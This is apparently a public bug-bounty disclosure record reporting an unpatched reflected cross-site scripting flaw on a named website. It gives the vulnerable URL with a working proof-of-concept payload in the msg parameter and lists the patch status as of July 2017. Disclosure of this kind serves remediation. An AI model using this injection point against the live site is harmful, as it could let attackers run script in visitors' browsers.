completesiteinteractive.com XSS vulnerability

Vulnerable URL: http://completesiteinteractive.com/accessdenied.asp?msg=LinkingError-UID%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1871933...